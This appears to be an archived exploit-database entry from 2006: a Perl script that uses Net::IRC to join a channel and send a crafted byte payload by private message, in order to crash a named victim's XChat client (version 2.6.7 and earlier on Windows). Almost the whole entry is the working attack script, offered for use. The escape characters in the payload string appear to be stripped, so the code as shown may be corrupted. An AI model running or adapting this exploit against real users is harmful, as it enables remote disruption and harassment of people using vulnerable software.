[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : XChat <= 2.6.7 (win version) Remote Denial of Service Exploit (perl)
# Published : 2006-08-08
# Author : Elo
# Previous Title : PocketPC MMS Composer (WAPPush) Denial of Service Exploit
# Next Title : XChat <= 2.6.7 (win version) Remote Denial of Service Exploit (php) 


#!/usr/bin/perl

# rewritten because perl is more elegant than php
# payload taken from original that ratboy submitted

use strict;
use Net::IRC;

my ($nick, $server, $port, $channel, $victim) = @ARGV;

my $irc = new Net::IRC;
my $connect = $irc -> newconn (Nick => "$nick",
Server => "$server",
Port => $port,
Ircname=> 'whatever')
or die "$0: Errorn";

my $payload = "x9xxF0x92x8Dx85xF1xA5x90xB4xF1x96x9Ex85xF1xA6x8DxA5xF1xB8xA5x85xF1xA7x95xA8x29xF2x95x95x82";        

sub on_connect {
	my $self = shift;
	
	$self->join("#".$channel);
	$self->privmsg($victim, "$payload");
}

$connect->add_handler('376', &on_connect);
$irc->start();

# www.Syue.com [2006-08-08]